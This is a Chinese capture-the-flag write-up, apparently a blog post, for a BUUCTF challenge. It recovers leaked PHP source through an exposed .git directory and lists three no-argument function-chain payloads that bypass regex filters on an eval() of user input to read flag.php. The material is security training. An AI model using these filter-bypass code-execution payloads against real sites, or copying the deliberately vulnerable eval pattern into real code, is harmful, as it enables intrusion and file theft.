[BUUCTF刷题]禁止套娃

禁止套娃


  1. exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
  2. exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
  3. exp=show_source(session_id(session_start()));

  1. 进入后显示flag在哪儿,找不到线索,进行目录扫描。但也没有扫到。查看别人的wp发现是.git泄露。但是自己的网址下/.git/显示403,所以即使目录扫描也扫不出来。
  2. 使用GitHack.py下载源码
    在这里插入图片描述
  3. 得到index.php源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
  • 可以通过get一个exp参数,如果符合条件或者绕过限制,就可以执行。
  • 过滤了伪协议读取方式。
  • (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
  • 过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。
  1. 根据源码可以知道flag就在flag.php中,然后exp要符合无参数的函数,但是可以套函数,也符合题目名称。

scandir(’.’):扫描当前目录
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos(),current():返回数组第一个值

  • 所以构造exp=print_r(scandir(pos(localeconv())));
    在这里插入图片描述

//数组操作函数:

  1. end():数组指针指向最后一位
  2. next(): 数组指针指向下一位
  3. array_reverse(): 将数组颠倒
  4. array_rand(): 随机返回数组的键名
  5. array_flip():交换数组的键和值

读取文件函数

  1. file_get_content() :因为et被ban,所以不能使用
  2. readfile()
  3. highlight_file()
  4. show_source()

方法一:
使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
方法二:
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到):
exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
在这里插入图片描述
方法三:

session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
手动设置cookie中PHPSESSID=flag.php;

所以可以构造exp=show_source(session_id(session_start()));
在这里插入图片描述

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值